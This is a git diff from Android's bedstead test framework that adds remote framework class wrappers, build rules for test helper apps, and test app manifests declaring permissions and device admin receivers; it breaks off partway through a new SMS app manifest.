index 0000000..5a535f7
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteContentResolver.java.txt
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.content.RemoteContentResolver;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link RemoteContentResolver} for clients
+ * which do not need to actually use the {@link RemoteContentResolver} param or return value.
+ */
+@CustomParcelableWrapper(originalType = RemoteContentResolver.class)
+public final class NullParcelableRemoteContentResolver implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link RemoteContentResolver}.
+     */
+    public static <F> NullParcelableRemoteContentResolver of(
+            Bundler bundler, BundlerType type,
+            RemoteContentResolver remoteContentResolver) {
+        return new NullParcelableRemoteContentResolver();
+    }
+
+    private NullParcelableRemoteContentResolver() {
+    }
+
+    public RemoteContentResolver get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableRemoteContentResolver> CREATOR =
+            new Creator<NullParcelableRemoteContentResolver>() {
+                @Override
+                public NullParcelableRemoteContentResolver createFromParcel(Parcel in) {
+                    return new NullParcelableRemoteContentResolver();
+                }
+
+                @Override
+                public NullParcelableRemoteContentResolver[] newArray(int size) {
+                    return new NullParcelableRemoteContentResolver[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
new file mode 100644
index 0000000..7225c75
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.app.admin.RemoteDevicePolicyManager;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link RemoteDevicePolicyManager} for clients
+ * which do not need to actually use the {@link RemoteDevicePolicyManager} param or return value.
+ */
+@CustomParcelableWrapper(originalType = RemoteDevicePolicyManager.class)
+public final class NullParcelableRemoteDevicePolicyManager implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link RemoteDevicePolicyManager}.
+     */
+    public static <F> NullParcelableRemoteDevicePolicyManager of(
+            Bundler bundler, BundlerType type,
+            RemoteDevicePolicyManager remoteDevicePolicyManager) {
+
+        if (remoteDevicePolicyManager != null) {
+            throw new IllegalArgumentException("remoteDevicePolicyManager can only be null");
+        }
+
+        return new NullParcelableRemoteDevicePolicyManager();
+    }
+
+    private NullParcelableRemoteDevicePolicyManager() {
+    }
+
+    public RemoteDevicePolicyManager get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableRemoteDevicePolicyManager> CREATOR =
+            new Creator<NullParcelableRemoteDevicePolicyManager>() {
+                @Override
+                public NullParcelableRemoteDevicePolicyManager createFromParcel(Parcel in) {
+                    return new NullParcelableRemoteDevicePolicyManager();
+                }
+
+                @Override
+                public NullParcelableRemoteDevicePolicyManager[] newArray(int size) {
+                    return new NullParcelableRemoteDevicePolicyManager[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/AndroidManifest.xml
similarity index 92%
rename from common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml
rename to common/device-side/bedstead/remoteframeworkclasses/src/types/main/AndroidManifest.xml
index dfc7779..50fea22 100644
--- a/common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/AndroidManifest.xml
@@ -17,8 +17,8 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.bedstead.remotedpc.communication">
+          package="com.android.bedstead.remoteframeworkclasses">
     <uses-sdk android:minSdkVersion="27" />
     <application>
     </application>
-</manifest>
+</manifest>
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/AccountManagerFutureWrapper.java b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/AccountManagerFutureWrapper.java
new file mode 100644
index 0000000..cea8357
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/AccountManagerFutureWrapper.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerFuture;
+import android.accounts.AuthenticatorException;
+import android.accounts.OperationCanceledException;
+
+import com.google.android.enterprise.connectedapps.FutureWrapper;
+import com.google.android.enterprise.connectedapps.Profile;
+import com.google.android.enterprise.connectedapps.annotations.CustomFutureWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+import com.google.android.enterprise.connectedapps.internal.CrossProfileCallbackMultiMerger;
+import com.google.android.enterprise.connectedapps.internal.FutureResultWriter;
+
+import java.io.IOException;
+import java.util.Map;
+
+/**
+ * Future wrapper for {@link AccountManagerFuture}.
+ *
+ * @param <V> Wrapped future result
+ */
+@CustomFutureWrapper(originalType = AccountManagerFuture.class)
+public class AccountManagerFutureWrapper<V> extends FutureWrapper<V> {
+
+    private final SimpleAccountManagerFuture<V> mFuture = new SimpleAccountManagerFuture<>();
+
+    private AccountManagerFutureWrapper(Bundler bundler, BundlerType bundlerType) {
+        super(bundler, bundlerType);
+    }
+
+    /** Create a {@link AccountManagerFutureWrapper}. */
+    public static <V> AccountManagerFutureWrapper<V> create(
+            Bundler bundler, BundlerType bundlerType) {
+        return new AccountManagerFutureWrapper<>(bundler, bundlerType);
+    }
+
+    /** Write a result from an {@link AccountManagerFuture}. */
+    public static <V> void writeFutureResult(
+            AccountManagerFuture<V> future, FutureResultWriter<V> futureResultWriter) {
+        try {
+            futureResultWriter.onSuccess(future.getResult());
+        } catch (OperationCanceledException | IOException | AuthenticatorException e) {
+            futureResultWriter.onFailure(e);
+        }
+    }
+
+    /** Group multiple results from {@link AccountManagerFuture}. */
+    public static <E> AccountManagerFuture<Map<Profile, E>> groupResults(
+            Map<Profile, AccountManagerFuture<E>> results) {
+        SimpleAccountManagerFuture<Map<Profile, E>> m = new SimpleAccountManagerFuture<>();
+
+        CrossProfileCallbackMultiMerger<E> merger =
+                new CrossProfileCallbackMultiMerger<>(results.size(), m::setResult);
+        for (Map.Entry<Profile, AccountManagerFuture<E>> result : results.entrySet()) {
+            try {
+                merger.onResult(result.getKey(), result.getValue().getResult());
+            } catch (OperationCanceledException | IOException | AuthenticatorException e) {
+                merger.missingResult(result.getKey());
+            }
+        }
+        return m;
+    }
+
+    /** Get the wrapped future. */
+    public AccountManagerFuture<V> getFuture() {
+        return mFuture;
+    }
+
+    @Override
+    public void onResult(V result) {
+        mFuture.setResult(result);
+    }
+
+    @Override
+    public void onException(Throwable throwable) {
+        mFuture.setException(throwable);
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/RemoteFrameworkClassesConfiguration.java
similarity index 65%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
copy to common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/RemoteFrameworkClassesConfiguration.java
index 669bb13..907a6c8 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/RemoteFrameworkClassesConfiguration.java
@@ -14,11 +14,15 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package com.android.bedstead.remoteframeworkclasses;
+import com.android.bedstead.remoteframeworkclasses.processor.annotations.RemoteFrameworkClasses;
 
-/** {@link Exception} thrown when a query doesn't match any test apps. */
-public class NotFoundException extends RuntimeException {
-    public NotFoundException(TestAppQueryBuilder query) {
+/**
+ * Entry point to RemoteFrameworkClasses
+ */
+@RemoteFrameworkClasses
+public final class RemoteFrameworkClassesConfiguration {
+    private RemoteFrameworkClassesConfiguration() {
 
     }
 }
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/SimpleAccountManagerFuture.java b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/SimpleAccountManagerFuture.java
new file mode 100644
index 0000000..0bbc47d
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/SimpleAccountManagerFuture.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerFuture;
+import android.accounts.AuthenticatorException;
+import android.accounts.OperationCanceledException;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * A simple implementation of {@link AccountManagerFuture} for use with remote calls.
+ *
+ * @param <V> The wrapped future result.
+ */
+public final class SimpleAccountManagerFuture<V> implements AccountManagerFuture<V> {
+
+    private final CountDownLatch mIsDone = new CountDownLatch(1);
+    private final AtomicReference<Throwable> mException = new AtomicReference<>();
+    private final AtomicReference<V> mValue = new AtomicReference<>();
+
+    @Override
+    public boolean cancel(boolean mayInterruptIfRunning) {
+        // Remote calls cannot cancel futures
+        return false;
+    }
+
+    @Override
+    public boolean isCancelled() {
+        return false;
+    }
+
+    @Override
+    public boolean isDone() {
+        return mIsDone.getCount() < 1;
+    }
+
+    @Override
+    public V getResult() throws OperationCanceledException, IOException, AuthenticatorException {
+        try {
+            mIsDone.await();
+        } catch (InterruptedException e) {
+            throw new RuntimeException("Interrupted while waiting for result", e);
+        }
+
+        Throwable exception = mException.get();
+        if (exception == null) {
+            return mValue.get();
+        } else if (exception instanceof OperationCanceledException) {
+            throw (OperationCanceledException) exception;
+        } else if (exception instanceof IOException) {
+            throw (IOException)  exception;
+        } else if (exception instanceof AuthenticatorException) {
+            throw (AuthenticatorException) exception;
+        } else {
+            throw new RuntimeException("Unexpected exception type", exception);
+        }
+    }
+
+    /** Set the result of this future. */
+    public void setResult(V result) {
+        mValue.set(result);
+        mIsDone.countDown();
+    }
+
+    @Override
+    public V getResult(long timeout, TimeUnit unit)
+            throws OperationCanceledException, IOException, AuthenticatorException {
+        try {
+            mIsDone.await(timeout, unit);
+        } catch (InterruptedException e) {
+            throw new RuntimeException("Interrupted while waiting for result", e);
+        }
+
+        Throwable exception = mException.get();
+        if (exception == null) {
+            return mValue.get();
+        } else if (exception instanceof OperationCanceledException) {
+            throw (OperationCanceledException) exception;
+        } else if (exception instanceof IOException) {
+            throw (IOException)  exception;
+        } else if (exception instanceof AuthenticatorException) {
+            throw (AuthenticatorException) exception;
+        } else {
+            throw new RuntimeException("Unexpected exception type", exception);
+        }
+    }
+
+    /** Set an exception thrown by this future. */
+    public void setException(Throwable throwable) {
+        mException.set(throwable);
+        mIsDone.countDown();
+    }
+}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/update-apis.sh b/common/device-side/bedstead/remoteframeworkclasses/update-apis.sh
new file mode 100755
index 0000000..04ec558
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/update-apis.sh
@@ -0,0 +1,19 @@
+#
+# Copyright (C) 2021 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+cp ../../../../../packages/modules/Wifi/framework/api/current.txt src/processor/res/wifi-current.txt
+cp ../../../../../frameworks/base/core/api/current.txt src/processor/res/current.txt
+cp ../../../../../frameworks/base/core/api/test-current.txt src/processor/res/test-current.txt
\ No newline at end of file
diff --git a/common/device-side/bedstead/testapp/Android.bp b/common/device-side/bedstead/testapp/Android.bp
index fe708ac..bf92e97 100644
--- a/common/device-side/bedstead/testapp/Android.bp
+++ b/common/device-side/bedstead/testapp/Android.bp
@@ -2,21 +2,30 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
+java_library_static {
+    name: "TestApp_JavaProtos",
+    host_supported: true,
+    proto: {
+        type: "lite",
+    },
+    srcs: ["src/library/main/proto/testapp_protos.proto"]
+}
+
 android_library {
     name: "TestApp_TestApps",
     sdk_version: "test_current",
     srcs: [
-        "src/main/testapps/java/**/*.java"
+        "src/testapps/main/java/**/*.java"
     ],
     static_libs: [
-        "Nene",
         "EventLib",
         "TestApp_Annotations",
         "ConnectedAppsSDK",
         "ConnectedAppsSDK_Annotations",
         "androidx.annotation_annotation",
+        "RemoteFrameworkClasses"
     ],
-    manifest: "src/main/testapps/AndroidManifest.xml",
+    manifest: "src/testapps/main/AndroidManifest.xml",
     min_sdk_version: "28",
     plugins: ["ConnectedAppsSDK_Processor", "TestApp_Processor"],
 }
@@ -25,7 +34,7 @@
     name: "TestApp",
     sdk_version: "test_current",
     srcs: [
-        "src/main/library/java/**/*.java"
+        "src/library/main/java/**/*.java"
     ],
     static_libs: [
         "Nene",
@@ -35,9 +44,10 @@
         "ConnectedAppsSDK",
         "ConnectedAppsSDK_Annotations",
         "androidx.annotation_annotation",
-        "TestApp_TestApps"
+        "TestApp_TestApps",
+        "TestApp_JavaProtos"
     ],
-    manifest: "src/main/library/AndroidManifest.xml",
+    manifest: "src/library/main/AndroidManifest.xml",
     min_sdk_version: "28",
     resource_zips: [":TestApp_Apps"],
     plugins: ["ConnectedAppsSDK_Processor", "TestApp_Processor"],
@@ -80,20 +90,28 @@
     main: "tools/index/index_testapps.py",
     srcs: [
         "tools/index/index_testapps.py",
-    ]
+        "src/library/main/proto/testapp_protos.proto"
+    ],
+    proto: {
+        canonical_path_from_root: false,
+    }
 }
 
 java_genrule {
     name: "TestApp_Apps",
-    srcs: [":EmptyTestApp", ":EmptyTestApp2", ":DeviceAdminTestApp", ":LockTaskApp"],
+    srcs: [":EmptyTestApp", ":EmptyTestApp2", ":DeviceAdminTestApp", ":LockTaskApp", ":DelegateTestApp", ":RemoteDPCTestApp", ":SmsApp", ":AccountManagementApp"],
     out: ["TestApp_Apps.res.zip"],
-    tools: ["soong_zip", "index_testapps"],
+    tools: ["soong_zip", "index_testapps", "aapt2"],
     cmd: "mkdir -p $(genDir)/res/raw"
          + " && cp $(location :EmptyTestApp) $(genDir)/res/raw"
          + " && cp $(location :EmptyTestApp2) $(genDir)/res/raw"
          + " && cp $(location :DeviceAdminTestApp) $(genDir)/res/raw"
          + " && cp $(location :LockTaskApp) $(genDir)/res/raw"
-         + " && $(location index_testapps) --directory $(genDir)/res/raw"
+         + " && cp $(location :DelegateTestApp) $(genDir)/res/raw"
+         + " && cp $(location :RemoteDPCTestApp) $(genDir)/res/raw"
+         + " && cp $(location :SmsApp) $(genDir)/res/raw"
+         + " && cp $(location :AccountManagementApp) $(genDir)/res/raw"
+         + " && $(location index_testapps) --directory $(genDir)/res/raw --aapt2 $(location aapt2)"
          + " && $(location soong_zip) -o $(out) -C $(genDir)/res -D $(genDir)/res/raw"
 }
 
@@ -128,10 +146,47 @@
 android_test_helper_app {
     name: "LockTaskApp",
     static_libs: [
+        "TestApp_TestApps"
+    ],
+    manifest: "manifests/LockTaskAppManifest.xml",
+    min_sdk_version: "28"
+}
+
+android_test_helper_app {
+    name: "DelegateTestApp",
+    static_libs: [
+        "TestApp_TestApps"
+    ],
+    manifest: "manifests/DelegateManifest.xml",
+    min_sdk_version: "28"
+}
+
+android_test_helper_app {
+    name: "RemoteDPCTestApp",
+    static_libs: [
         "TestApp_TestApps",
         "DeviceAdminApp"
     ],
-    manifest: "manifests/LockTaskAppManifest.xml",
+    manifest: "manifests/RemoteDPCManifest.xml",
+    min_sdk_version: "28"
+}
+
+android_test_helper_app {
+    name: "SmsApp",
+    static_libs: [
+        "TestApp_TestApps"
+    ],
+    manifest: "manifests/SmsAppManifest.xml",
+    min_sdk_version: "28"
+}
+
+android_test_helper_app {
+    name: "AccountManagementApp",
+    static_libs: [
+        "TestApp_TestApps"
+    ],
+    resource_dirs: ["src/testapps/main/res/accountmanagement"],
+    manifest: "manifests/AccountManagementManifest.xml",
     min_sdk_version: "28"
 }
 
diff --git a/common/device-side/bedstead/testapp/manifests/AccountManagementManifest.xml b/common/device-side/bedstead/testapp/manifests/AccountManagementManifest.xml
new file mode 100644
index 0000000..09256e5
--- /dev/null
+++ b/common/device-side/bedstead/testapp/manifests/AccountManagementManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.testapp.AccountManagementApp">
+
+    <application
+        android:appComponentFactory="com.android.bedstead.testapp.TestAppAppComponentFactory"
+        android:testOnly="true">
+
+        <service android:name=".TestAppAccountAuthenticatorService" android:exported="true">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                       android:resource="@xml/authenticator" />
+        </service>
+    </application>
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+</manifest>
diff --git a/common/device-side/bedstead/remotedpc/src/dpc/main/AndroidManifest.xml b/common/device-side/bedstead/testapp/manifests/DelegateManifest.xml
similarity index 63%
rename from common/device-side/bedstead/remotedpc/src/dpc/main/AndroidManifest.xml
rename to common/device-side/bedstead/testapp/manifests/DelegateManifest.xml
index 6ab5599..5bd3772 100644
--- a/common/device-side/bedstead/remotedpc/src/dpc/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/testapp/manifests/DelegateManifest.xml
@@ -17,9 +17,14 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.bedstead.remotedpc.dpc">
-    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="30" />
-    <application android:testOnly="true">
-        <service android:name="com.google.android.enterprise.connectedapps.CrossProfileConnector_Service" android:exported="true" />
+          package="com.android.Delegate" android:targetSandboxVersion="2">
+
+    <application
+        android:appComponentFactory="com.android.bedstead.testapp.TestAppAppComponentFactory">
+
+        <!-- Don't allow this test app to be returned by queries unless filtered by package name -->
+        <meta-data android:name="testapp-package-query-only" android:value="true" />
+
     </application>
-</manifest>
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+</manifest>
\ No newline at end of file
diff --git a/common/device-side/bedstead/testapp/manifests/DeviceAdminManifest.xml b/common/device-side/bedstead/testapp/manifests/DeviceAdminManifest.xml
index ae942a4..018de06 100644
--- a/common/device-side/bedstead/testapp/manifests/DeviceAdminManifest.xml
+++ b/common/device-side/bedstead/testapp/manifests/DeviceAdminManifest.xml
@@ -17,12 +17,22 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.DeviceAdminTestApp">
+          package="com.android.bedstead.testapp.DeviceAdminTestApp">
     <application
         android:appComponentFactory="com.android.bedstead.testapp.TestAppAppComponentFactory"
         android:testOnly="true">
 
         <activity android:name="android.testapp.activity" android:exported="true" />
+
+        <receiver android:name=".DeviceAdminReceiver"
+                  android:permission="android.permission.BIND_DEVICE_ADMIN"
+                  android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/device_admin"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+            </intent-filter>
+        </receiver>
     </application>
     <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
 </manifest>
diff --git a/common/device-side/bedstead/testapp/manifests/EmptyTestApp2Manifest.xml b/common/device-side/bedstead/testapp/manifests/EmptyTestApp2Manifest.xml
index 9dad911..778d8d0 100644
--- a/common/device-side/bedstead/testapp/manifests/EmptyTestApp2Manifest.xml
+++ b/common/device-side/bedstead/testapp/manifests/EmptyTestApp2Manifest.xml
@@ -17,11 +17,30 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.EmptyTestApp2">
+          package="com.android.bedstead.testapp.EmptyTestApp2">
+
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES" />
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+
     <application
         android:appComponentFactory="com.android.bedstead.testapp.TestAppAppComponentFactory">
 
         <activity android:name="android.testapp.activity" android:exported="true" />
+
+        <activity android:name="android.testapp.CrossProfileSharingActivity"
+                  android:exported="true">
+            <intent-filter>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <action android:name="com.android.testapp.SOME_ACTION"/>
+            </intent-filter>
+            <!-- Catch ACTION_PICK in case there is no other app handing it-->
+            <intent-filter>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <action android:name="android.intent.action.PICK"/>
+            </intent-filter>
+        </activity>
     </application>
     <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
 </manifest>
diff --git a/common/device-side/bedstead/testapp/manifests/EmptyTestAppManifest.xml b/common/device-side/bedstead/testapp/manifests/EmptyTestAppManifest.xml
index 2815dc1..ed0290f 100644
--- a/common/device-side/bedstead/testapp/manifests/EmptyTestAppManifest.xml
+++ b/common/device-side/bedstead/testapp/manifests/EmptyTestAppManifest.xml
@@ -17,11 +17,21 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.EmptyTestApp">
+          package="com.android.bedstead.testapp.EmptyTestApp">
+
+    <uses-permission android:name="android.permission.READ_SMS" />
+    <uses-permission android:name="android.permission.BODY_SENSORS" />
+    <uses-permission android:name="android.permission.ACTIVITY_RECOGNITION" />
+    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+
     <application
         android:appComponentFactory="com.android.bedstead.testapp.TestAppAppComponentFactory">
-
-        <activity android:name="android.testapp.activity" android:exported="true" />
+        <meta-data android:name="test-metadata-key" android:value="test-metadata-value" />
     </application>
     <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
 </manifest>
diff --git a/common/device-side/bedstead/testapp/manifests/LockTaskAppManifest.xml b/common/device-side/bedstead/testapp/manifests/LockTaskAppManifest.xml
index 2318c7b..09685225 100644
--- a/common/device-side/bedstead/testapp/manifests/LockTaskAppManifest.xml
+++ b/common/device-side/bedstead/testapp/manifests/LockTaskAppManifest.xml
@@ -17,7 +17,7 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.LockTaskApp">
+          package="com.android.bedstead.testapp.LockTaskApp">
     <application
         android:appComponentFactory="com.android.bedstead.testapp.TestAppAppComponentFactory"
         android:testOnly="true">
diff --git a/common/device-side/bedstead/testapp/manifests/RemoteDPCManifest.xml b/common/device-side/bedstead/testapp/manifests/RemoteDPCManifest.xml
new file mode 100644
index 0000000..395b5a5
--- /dev/null
+++ b/common/device-side/bedstead/testapp/manifests/RemoteDPCManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.RemoteDPC" android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES" />
+
+    <application
+        android:appComponentFactory="com.android.bedstead.testapp.TestAppAppComponentFactory"
+        android:testOnly="true">
+
+        <!-- Don't allow this test app to be returned by queries unless filtered by package name -->
+        <meta-data android:name="testapp-package-query-only" android:value="true" />
+
+        <receiver android:name="com.android.bedstead.testapp.BaseTestAppDeviceAdminReceiver"
+                  android:permission="android.permission.BIND_DEVICE_ADMIN"
+                  android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/device_admin"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+            </intent-filter>
+        </receiver>
+
+    </application>
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+</manifest>
\ No newline at end of file
diff --git a/common/device-side/bedstead/testapp/manifests/SmsAppManifest.xml b/common/device-side/bedstead/testapp/manifests/SmsAppManifest.xml
new file mode 100644
index 0000000..2cbde3c
--- /dev/null
+++ b/common/device-side/bedstead/testapp/manifests/SmsAppManifest.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
